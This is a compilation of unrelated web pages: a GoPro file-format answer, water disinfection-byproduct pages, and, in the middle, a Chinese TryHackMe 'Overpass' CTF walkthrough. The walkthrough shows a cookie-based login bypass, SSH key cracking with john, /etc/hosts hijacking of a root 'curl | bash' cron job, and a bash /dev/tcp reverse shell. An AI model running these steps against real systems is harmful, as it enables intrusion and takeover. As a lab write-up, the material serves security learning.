视频中的THM和LRV文件是什么 - 知乎
视频中的THM和LRV文件是什么 - 知乎切换模式写文章登录/注册视频中的THM和LRV文件是什么知乎用户Wm7C8w.THM 文件是缩略图视频文件，全称是Thumbnail，用于在 GoPro 软件中显示视频缩略图。当你使用 GoPro App 在浏览媒体库时，你所看到的视频封面缩略图就是这个文件。如果说你想在电脑上看到这些缩略图，只需要把.THM 这个扩展名改成 .JPG，就会发现能够在电脑上看到这些缩略图。.LRV 文件是低分辨率视频文件，全称是 Low Resolution Video，用于在 GoPro 软件中预览视频。我们在 GoPro App 预览那些拍摄好的影片时，其实是在预览这些文件，并不是你所拍摄出来的原始文件。如果说你想在电脑上随便找一个常规播放器播放这些预览文件，也是可以进行操作的，只需要把.LRV 这个扩展名改成 .MP4，就会发现能够进行播放，当然，画质不是原始画质，因为它是低分辨率视频文件。以上，就是关于这两个文件格式到底是什么的解释。它们是相机内自动生成的，所以说，其实你删除掉它们，并不会有什么大碍，因为你的原始视频文件还是存在的，也就是那个 .MP4 才是你在进行剪辑操作时，真正所需要的文件发布于 2019-12-22 16:43图片处理缩略图视频制作赞同 548 条评论分享喜欢收藏申请
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Disinfection Byproducts Analysis | Thermo Fisher Scientific - PH
Disinfection Byproducts Analysis | Thermo Fisher Scientific - PH
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Home›Industrial & Applied Sciences›Environmental›Environmental Learning Center›Contaminant Analysis Information›Anion Analysis›Disinfection Byproducts AnalysisDisinfection Byproducts AnalysisSee Navigation‹Anion AnalysisDisinfection Byproducts Analysis
Inorganic Disinfection Byproducts and Bromide Analysis
Haloacetic Acids Analysis
Elemental Speciation Analysis
›Common Anion Analysis by U.S. EPA 300.0 & 300.1
›Perchlorate Analysis
›Total Nitrogen & Phosphorus Analysis
›Bromate Methods & Analysis
›Total Chromium & Hexavalent Chromium Measurement
›
What are disinfection byproducts?
Disinfection of drinking water, swimming pool water, and wastewater is required to protect the public from pathogenic microorganisms such as bacteria and viruses. Disinfection byproducts (DBPs) are produced when disinfectants, such as chlorine, chloramines, chlorine dioxide, and ozone, react with inorganic or organic matter. Common DBPs produced in drinking water include chlorate, chlorite, bromate, trihalomethanes (THMs), and haloacetic acids. Receive updates Join communityxAddressing current and emerging DBP analytical testing challengesUnderstand how disinfection byproducts (DBPs) are produced and the risks associated to the water treatment process.xWatch videoOn this page, you will find:How disinfection byproducts are producedHealth effects of disinfection byproductsWhich disinfection byproducts are regulated?US EPA methods for disinfection byproducts analysisSubtopicsInorganic Disinfection Byproducts and Bromide AnalysisInorganic disinfection byproducts include chlorite, chlorate, and bromate, which are also referred to as oxyhalides or DBP anions.Haloacetic Acids AnalysisHaloacetic acids (HAAs), which are found to increase the risk for cancer, are disinfection byproducts (DBPs) generated during the water chlorination process.
How disinfection byproducts are produced
Different water disinfectants produce different types of disinfection byproducts. In addition, the presence and amount of different inorganic and organic matter, the water temperature and pH, and the dose of disinfectant all contribute to the formation and variation of the DBPs. The table below lists the major DBPs produced by different disinfectants in drinking water treatment.Water disinfectantsDisinfection byproductsChlorineChlorate, Trihalomethane (THM), Haloacetic AcidsChloramineChlorate, Trihalomethane (THM), N-nitrosodimythlamine (NDMA)Chlorine dioxideChlorite, ChlorateOzone*Bromate* In water containing bromide and organic bromine species
Health effects of disinfection byproducts
Many disinfection byproducts pose a health threat and are regulated by different regulatory agencies. These DBPs contain halogen elements (chlorine, bromine, or iodine). Well-known DBPs contain chlorine and bromine, but most recently, emerging DBPs have been found to contain iodide. According to research studies, the toxicity of DBPs is in this order: DBP (I) >>DBP (Br) >DBPs (Cl).The table below lists the health effects of the disinfection byproducts resulting from drinking water disinfection.Disinfectant TreatmentDisinfection ByproductsHealth EffectsChlorinationTrihalomethanes (THMs)Haloacetic acids (HAAs)ChlorateIncreased risk of cancer; problems in kidney, liver, and central nervous system.Increased risk of cancer. Reduced ability of red blood cells to carry O2.Chlorine dioxideChlorateChloriteReduced ability of red blood cells to carry O2.Anemia and nervous system effects (for infants and young children).ChloramineChlorateReduced ability of red blood cells to carry O2.OzonationBromateIncreased risk of cancer.
Which disinfection byproducts are regulated?
Although over 600 DBPs are known, only a handful have clear data on their health effects, occurrence, levels, frequencies, treatment options, and justification. This handful of DBPs are regulated and have approved analytical methods.The U.S. EPA established disinfectants and disinfection byproducts rules (DBPRs) to protect the public from the threat of DBPs. The Stage 1 Rule is aimed to reduce exposure to DBPs by setting maximum contamination levels for HAAs and Total THMs (TTHMs), which were further refined in Stage 2. The EPA does not regulate individual TTHMs or HAAs.European and National Drinking Water Quality Standards also include DBPs such as bromate and trihalomethanes (THMs).The table below lists the regulated DBPs in the US, EU, and Canada.CountriesRegulated disinfection byproductsRegulatory standardsUSChlorite1000 ppbBromate10 ppbHAA560 ppbTTHMs80 ppbEUTHMs100 ppbBromate10 ppbCanadaHAA580 ppbTTHMs100 ppbChlorite1000 ppbChlorate1000 ppbSome of the DPBs are not currently regulated but they are on the EPA Unregulated Contaminant Monitoring Rule (UCMR) list. HAA9 and HAA6Br are on the UCMR 4 list for monitoring between 2018 and 2020; chlorate was on the UCMR 3 list although no regulatory decision has been made.In China, a new standard for drinking water qualities was promulgated in 2006 and became effective in 2012. The new standard GB5749-2006 contains 106 regulated contaminants including 14 DBPs. In Japan, the DBPs species regulated are almost identical with those in China. In Australia, 16 DBP species are regulated.
US EPA Methods for disinfection byproduct analysis
Due to the different nature of the disinfection byproducts, they are analyzed differently. The table below provides specific analytical methods for both regulated and unregulated DBPs. To identify unknown emerging DBPs, a high resolution mass spectrometer (HRMS) is often coupled with either liquid chromatography (HPLC) or gas chromatography (GC) to identify and quantify the DBPs.Multiple EPA methods are approved for analysis of different DBPs (see the table below). Different ISO methods are available for inorganic DBPs. In China, GB/T5750.10-2006 was developed for analysis of various DBPs and contains multiple techniques.Disinfection ByproductsAnalytical Methods (IC or other methods)Total TrihalomethanesEPA 501.1 (GC purge and trap), EPA 502.2 (GC-ECD), EPA 524.2 (GC-MS), EPA 551.1 (GC)HAAsEPA 552.3 (GC-ECD), EPA 557 (IC-MS)Chlorite and chlorateEPA 300.0 (B) and 300.1 (B), ISO 15061, EPA 317.0, EPA 326, and EPA 327 (colorimetric method)BromateEPA 300.0 (B), 300.1 (B), ISO 15061;EPA 302 (2-D IC); EPA 317, 326, ISO 11206EPA 321.8 (IC-ICP-MS), EPA 557 (IC-MS)For information on identification of emerging disinfection byproducts in drinking waterRead the app note: Discovery of Emerging Disinfection By-Products in WaterRead Infographic: Disinfection Byproducts - What's really in your water?Watch the webinar series: Discovery of Emerging DBPs in Water Using GC with Orbitrap-based MSEnvironmental Resource LibraryAccess a targeted collection of scientific application notes, case studies, videos, webinars and white papers for air quality, contaminant and water quality analysis.
Related resources
xEnvironmental analysis by ion chromatography application notebookMunicipal water analysis application summaryDisinfection byproduct analysis by combustion ICPoster note: bromated determination by 2D ICEmerging disinfection byproduct analysis by orbitrap-based GC-MS/MSApplication Note: Determination of Haloacetic Acids, Bromate, and Dalapon in Drinking Water using Ion ChromatographyBlog: Disinfection Byproducts: The Shark in the Swimming PoolSupportEventsLearn about productsMore Learning CentersServices and SupportSee all Learning Centers ›CMD Wide-format style fixes
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TryHackMe - Overpass 靶场实战 - 知乎
TryHackMe - Overpass 靶场实战 - 知乎切换模式写文章登录/注册TryHackMe - Overpass 靶场实战Lucifiel靶场介绍当一群破产的计算机科学专业的学生尝试制作密码管理器时会发生什么？显然是一次完美的商业成功！这个盒子上隐藏着一个 TryHackMe 订阅代码。第一个找到并激活它的人将获得一个月的免费订阅！如果您已经是订阅者，为什么不将代码提供给朋友呢？更新：该代码现已声明。机器于 2020/09/25 稍作修改。这只是为了提高机器的性能。它不影响该过程。靶场地址https://tryhackme.com/room/overpass信息收集Nmap┌──(root lucifiel)-[~]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.29.27
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-05 19:44 CST
Nmap scan report for 10.10.29.27
Host is up (0.15s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=5/5%OT=22%CT=1%CU=34521%PV=Y%DS=2%DC=T%G=Y%TM=6273B8D1
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11
OS:NW7%O6=M506ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(
OS:R=Y%DF=Y%T=40%W=F507%O=M506NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 151.63 ms 10.18.0.1
2 152.12 ms 10.10.29.27
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.80 seconds
HTTP没什么有用的东西，去 FUZZ 一下FUZZ┌──(root kali)-[~/Desktop]
└─# gobuster dir -u http://10.10.29.27/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.29.27/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/05/05 07:54:43 Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 0] [--> img/]
/downloads (Status: 301) [Size: 0] [--> downloads/]
/aboutus (Status: 301) [Size: 0] [--> aboutus/]
/admin (Status: 301) [Size: 42] [--> /admin/]
/css (Status: 301) [Size: 0] [--> css/]
有一个 /admin 目录，进去看一下一个登陆页面，使用弱口令没有进去，看一下源代码在页面 http://10.10.29.27/login.js 中找到了一句Cookies.set("SessionToken",statusOrCookie)
同时在 http://10.10.29.27/main.js 还有一个内容console.log("Hello, World!")
这里应该是 Cookie 设置绕过漏洞利用按 F12 打开控制台这里也确实输出了 “Hello, World”这里修改我们的 PayloadCookies.set("SessionToken", "")
在控制台输入以后，刷新直接绕过了登陆机制，拿到了用户 james 的 sshkey-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
将 sshkey 保存到 id_rsa 中，并给予权限chmod 600 id_rsa
接着使用 ssh 进行登陆┌──(root lucifiel)-[~/Desktop]
└─# ssh james@10.10.84.23 -i id_rsa
The authenticity of host '10.10.84.23 (10.10.84.23)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.84.23' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
显示需要输入密码，去破解一下┌──(root lucifiel)-[~/Desktop]
└─# ssh2john id_rsa > hash
┌──(root lucifiel)-[~/Desktop]
└─# cat hash
id_rsa:$sshng$1$16$9F85D92F34F42626F13A7493AB48F337$1200$2cdbb9c10041cfba4a67771ce135a5c4852e0ffa29262d435693dad3aa708871e17bc663c37feffb19e6b52dcefaa88d2479cb4bca14551e929a8b30e29a8b19c3f70302afaf30d6b70db270eee635d36ccf02e9deeb68ec435d4c86f3bc96a5ef7fde50df64605d2e6bdad90ba9b0a08da21bab1d94d2f866ab1863baebbc3c5e099264833406ce407dc0a830d658d3583cb2f2a9dc963ba03887fc42b1e8a37d06bfe74031f8a94d2478dc518167f1e16b88c3ca45173f43efb85c936d576f04c5e6af7c6e2a407a23a93f8cb8ea59c2eb84f592d2a449ef5f06feef1ca985f7a0998cd0ea378e0a17617c5ec0649900be5b2d0161649346a19f8de671ce965d4e065d6d9ac50847060aef04fff64bd488bdeb8640544615486e3daa887c51dcac264b80e6e003ada0f4c802657268a9825a8a5fea57b5fb0cd9fd4a6b3420207864e564a5ff8e8aee5bb649b8051f0016d12cbc0554f3206a1ac1a7abd17cd1024b1ced6c59973e8570bd6450f7c67ea7c3223a845e6fb25fbaccba1af66455f5b68299a402bf320d0ca752e92859ec4f7831d6892960d644492ab40fec60aea6f5bfaff61cd5198d4dfcd3e5e7913a450e4ccaa67772e3d3bc842f26af9411ebcf9149bf33ccdeb8a647012c97c187d75d43e0be6b00a55cbac745720f0ff4142e9166f35591db690b401951b2d05289bf55a103ea634cbab053e735e5617b10d6f70e6e6a754a124a53f3463cde79a3c6e4ee14f45ab465a60f90c972242cd1569e370dee0a2a4c8ee4543ec52c5c7b7156d1beb7fbc4448188ab386719e13040a58faecf7e095def2312586b295f71c3fef31b62e890a3279631b6605200a6bf7d9d915566cd5738508291c33c18585ea13e32170ad7854d5f8d08d6fdc47491b84ebfb45f579c7b2f7eb1dd9b827c17655a4b7f8763399e8c2371b6277b1c4eb8e76a75acd38eb5cec913723ad605f563cb84b4476a9040917cef352384441dd325c6bcc9d6cab326ac7421b20083d7e766e2a01943860f0398f0294750b5cd16304f52c414ab7b28a01aa206f0dc6e6b692cc1e78310a57e962fec24ea9effc0e5fa58ca35325905f793370bb7713c512ca4b1dfa41c5fdaacacf4ca81b1dd2b2e45e8611ea0a5b19b016e7c74f9b9d4c7a41c3f9678ff284d8188e0f5424bf585f94f741adcb452683223da9fc4c548bb505c98987387c81db53d229f42f3e69298fab2f175468003d295c05b1d8979d78c7104d54c270eaaabbe006ebd7e8dbb1fa17e05e2f41b32ebca93f0789429312cba472ffc86072b5b3e530fc7e405ad26c166590b376f0f98e22c3e60b66899703813bcb13d7c9f5a6e0ae05320de78347b8ffb1d160949a5cb40e29e37071ffcb5b9762a4eec39818d52ec0bc7b227cba37aeb4ffc6700e65eb3ca5aa294e823e3eca24bcd7790d4e30893b0291b178368ca6e745af1bedd491cfb6836552e9267132f5b867e9aed6b52e3d4f14e88b9dd9075e3ea2e8242f8b2f272618211b908eb52689ead701d99b605f708a68662df7a5acc7287ce1d15b6fa12f5907953b49654f198f663663785deb244d25c220083ae62db9fd0b933477b83487606515a24864e6034ba27a624d9c5a4fcc967efe3a1000a40bc304a54ceff2c647dfec54f71e128b3a1d37c15db9ac895f9ea05cd4b6e8edca6bfc53b
然后使用 john 进行爆破┌──(root lucifiel)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash 1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (id_rsa)
1g 0:00:00:00 DONE (2022-05-05 20:27) 12.50g/s 167200p/s 167200c/s 167200C/s lisa..honolulu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
这里爆破出来了密码为 james13 去就进行连接┌──(root lucifiel)-[~/Desktop]
└─# ssh james@10.10.84.23 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu May 5 12:32:51 UTC 2022
System load: 0.09 Processes: 92
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.84.23
Swap usage: 0%
47 packages can be updated.
0 updates are security updates.
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ whoami&&id
james
uid=1001(james) gid=1001(james) groups=1001(james)
成功拿到 user 权限james@overpass-prod:~$ ls
todo.txt user.txt
james@overpass-prod:~$ cat user.txt
thm{65c1aaf000506e56996822c6281e6bf7}
成功拿到 user 权限的 flag 文件权限提升james@overpass-prod:~$ cat todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
这有个 todo.txt 文件作为提示，不过我英语不好，也不确定说的啥，还是先跑个 LinPeas 看看吧SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
这里看到一个，root 会使用 curl 向 overpass.htm/downloads/src/buildscrit.sh 请求内容，然后使用 bash 执行╔══════════╣ Hostname, hosts and DNS
overpass-prod
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
nameserver 127.0.0.53
options edns0
search eu-west-1.compute.internal
然后在这里可以看到 overpass.htm 是指向的 127.0.0.1james@overpass-prod:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
这里可以看到，我们是有权限修改 /etc/hosts 的内容的那提权思路就有了首先创建指定的目录和脚本mkdir -p downloads/src && vim downloads/src/buildscript.sh
然后写入我们的 payloadbash -c 'exec bash -i &>/dev/tcp/10.18.112.117/4444 <&1'
接着需要两个窗口第一个窗口 使用 nc 监听一个端口nc -nvlp 4444
第二个窗口 使用 python3 开启一个 http 服务python3 -m http.server 80
然后去 shell 里修改 /etc/hosts 的内容10.18.112.117 overpass.thm
把第三行改成这样，然后等着就行了┌──(root kali)-[~/Desktop]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.84.23 - - [05/May/2022 09:17:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
成功下载了我们的 payload┌──(root kali)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.18.112.117] from (UNKNOWN) [10.10.84.23] 43604
bash: cannot set terminal process group (16146): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# whoami&&id
whoami&&id
root
uid=0(root) gid=0(root) groups=0(root)
成功拿到了 root 权限root@overpass-prod:~# ls
ls
buildStatus
builds
downloads
go
root.txt
src
root@overpass-prod:~# cat root.txt
cat root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}
成功拿到了 root 权限的 flag 文件编辑于 2022-05-06 08:00反恐精英：全球攻势（CS:GO）散打军事武器赞同 13 条评论分享喜欢收藏申请
三卤甲烷_百度百科
_百度百科 网页新闻贴吧知道网盘图片视频地图文库资讯采购百科百度首页登录注册进入词条全站搜索帮助首页秒懂百科特色百科知识专题加入百科百科团队权威合作下载百科APP个人中心三卤甲烷播报讨论上传视频化学物质收藏查看我的收藏0有用+10三卤甲烷是一类化学物质。1974年Rook首次在饮用水中监测到，在动物试验中证明具有致突变性和（或）致癌性，有的还有致畸性和（或）神经毒性作用，可引起肝、肾和肠道肿瘤。中文名三卤甲烷外文名trihalomethanes,THMs代表物质氯仿、溴仿、碘仿可燃性不可燃目录1成因▪概要▪形成机理▪氯仿2生成因素▪有机前质▪加氯浓度▪pH值▪温度▪反应时间▪物质作用3健康影响4控制技术▪后去除之▪消毒剂▪前驱物质5现状成因播报编辑概要三卤甲烷是指甲烷（CH4）中的三个氢原子，为卤族元素所取代，一般很少自然存在于水体中，但在净水厂加氯去除臭味及消毒过程中，水中有机物和氯反应所形成；而主要的生成物包括CHCl3（氯仿）、CHBrCl2（一溴二氯甲烷）、CHBr2Cl（二溴一氯甲烷）、CHBr3（溴仿）等，此四者合称总三卤甲烷（THMs），其中以氯仿的出现频率及浓度较高。形成机理一般认为，氯仿等有机卤代物是这样形成的：氯+前驱物质=氯仿有机卤代物前驱物质指水中所有能和氯反应生成氯仿等有机卤代物的物质，主要包括一些天然有机物（如腐殖质等），这些天然有机物在自然水体中的浓度一般为5-20mg/L，他们来源于炭、土壤、湖泊底泥及浮游生物和细菌，还有人为排放工业废水及生活污水而进入水体中的有机物。有研究表明，饮用水中以氯仿为主的三卤甲烷的产生机理是氯化消毒时，氯与水中存在的天然有机物如腐殖酸、富里酸等有机物发生反应而形成，如果水中含有一定量的溴化物，又会生成相应的溴化消毒副产物。特别是传统的预氯化工艺，原水中高浓度的氯与较高浓度的有机污染物直接反应，生成的副产物浓度会更高。如此形成THMs的反应并非瞬间的，而是在加氯一段时间后，仍持续进行反应。故许多调查显示，THMs在水中的浓度往往在配水池或配水系统中，较水厂出水的浓度来得高。氯仿三氯甲烷又名氯仿，分子式CHCl3，它是无色透明易挥发的液体，有特殊甜味，微溶于水。氯仿有很强的麻醉作用，主要作用于中枢神经系统，造成肝，肾损害，已被流行病学证实为动物致癌物质，危害很大。氯仿在消化道内迅速吸收，从人体脂肪到体液约2h，在体内转化为一氧化炭而使血中炭氧血红蛋白的含量升高，使人出现中毒症状，导致呕吐、消化不良、食欲减退、虚弱、恶心并能患神经过敏症、失眠症、忧郁症、精神错乱、精神病等。对于三氯甲烷各国进行了研究，发现水原环境日益恶劣，水中有机污染物质增多，使得水源水在消毒过程中生成大量的消毒副产物。鉴于此，许多国家都规定了水中三氯甲烷的最大含量，美国国家环保局规定氯仿在饮用水中的污染极限是10ug/L，德国为25ug/L，我国生活饮用水水质标准（GB5749—85）规定生活饮用水中氯仿的的最高允许浓度是60ug/L。但是作为对人体健康有危害的物质，在生活给水和水质处理上，采取一定措施尽量降低其含量，对于确保供水水质，提高供水的安全性和保障人民的身体健康有重要的意义。生成因素播报编辑有机前质所谓有机前质乃是，原水中的腐植质和一些具有乙酰基团（acetyl group）的低分子量有机物，又根据许多学者的研究，有机前质包括如下：腐植酸（humic acid）、腐植质、黄酸（fulvic acids）、乙醇、乙醛、丙酮、三氯丙酮、苯丙酮、乙酰乙酮单宁素、木质黄酸盐、酚类胺基酸、脂肪酸、藻类的叶绿素及外细胞质产物、酚、邻苯二酚、对苯二酚、1,3,5苯三酚等。水源中的有机物种类繁多，形态各异，精确的对所有有机物进行分类，特别是根据有机物官能团进行分类往往比较困难。可行的方法是根据有机物的理化特性采用综合分离技术将它们分为不同的形态加以研究，分离出的不同组分分别进行氯化模拟试验，确定THMs的主要前驱物。 清华大学环境科学与工程系的张永吉，山东建筑工程学院环境工程系的周玲玲以及哈尔滨工业大学市政环境工程学院的李圭白等人利用XAD树脂对原水中的天然有机物进行富集分类，研究结论为：（1）将其分为腐殖酸、富里酸、亲水酸和其他亲水物质等四种有机组分，富里酸是原水中的主要成分，其它几种有机成分的含量较低。（2）不同有机成分与氯作用生成的三卤甲烷的含量不同，富里酸的三卤甲烷生成量最大，而腐殖酸、亲水酸和其它亲水物质的三卤甲烷生成量较小。可见，富里酸是原水中加氯消毒时产生三卤甲烷的主要前体物质。（3）对原水中各有机组分卤代活性的研究表明，虽然在原水中富里酸是主要的三卤甲烷前体物质，但其卤代活性并非最高。在各种有机成分中，腐殖酸具有最高的卤代活性，其次为富里酸和亲水酸，其它亲水物质的卤代活性最低。（4）腐殖酸、富里酸及亲水酸具有较高的耗氧量和较快的三卤甲烷生成速度，而其它亲水物质的耗氧量和三卤甲烷生成速度较低。加氯浓度在加氯反应中，水中无机物如Fe2+、Mn2+、H2S、NH3等，会很快消耗所加入的氯，当无机物的耗氯量达饱和时，多余的氯才会与有机物反应，此时所加入的氯量与THMs生成量成正比。而在有机物消耗掉氯后，须加入足够的氯量来饱和瞬时及短期的有机耗氯量后，多余的氯才能产生长期性的有效余氯，此时再多加氯也不会增加THMs的生成。pH值一般认为pH值愈高，生成THMs的量愈多，因此若想减少THMs的产生，在消毒时应将水的pH值保持在中性，或是微酸性较佳。温度通常温度愈高反应愈快，故在一定的加氯量情况下，当温度愈高，THMs的生成量愈大。反应时间THMs的生成量会随着反应时间的增加而增大，此亦即自来水配水系统的THMs浓度会比水厂出水较高的原因。物质作用如溴离子存在，则会促进CHCl3以外其他三卤甲烷的生成，NH3-N存在会与氯结合为结合余氯，而影响THMs的生成。健康影响播报编辑三卤甲烷对健康的影响，主要是针对氯仿而言，因为它是在饮用水中出现频率最高且影响最大者。氯仿可使中枢神经系统衰退，并且还会影响肝、肾的功能。氯仿的立即毒性往往是失去知觉，然后可能会随着昏迷而造成死亡。暴露在氯仿24～48小时后，肾即受伤害，经过2～5天后可发现肝受损；而因氯仿所造成的昏迷症状，则须经好几天才会复原。针对致癌性来说，美国国家癌症研究所以氯仿掺入食物中喂食Osborne-Mendel大白鼠与B6C3-F1小白鼠，剂量为90或180mg/kg。结果在111星期后，发现雄大白鼠因明显肝恶性肿瘤而大部分死去，雌大白鼠却不曾死亡，但发现有甲状腺肿瘤。至于含溴三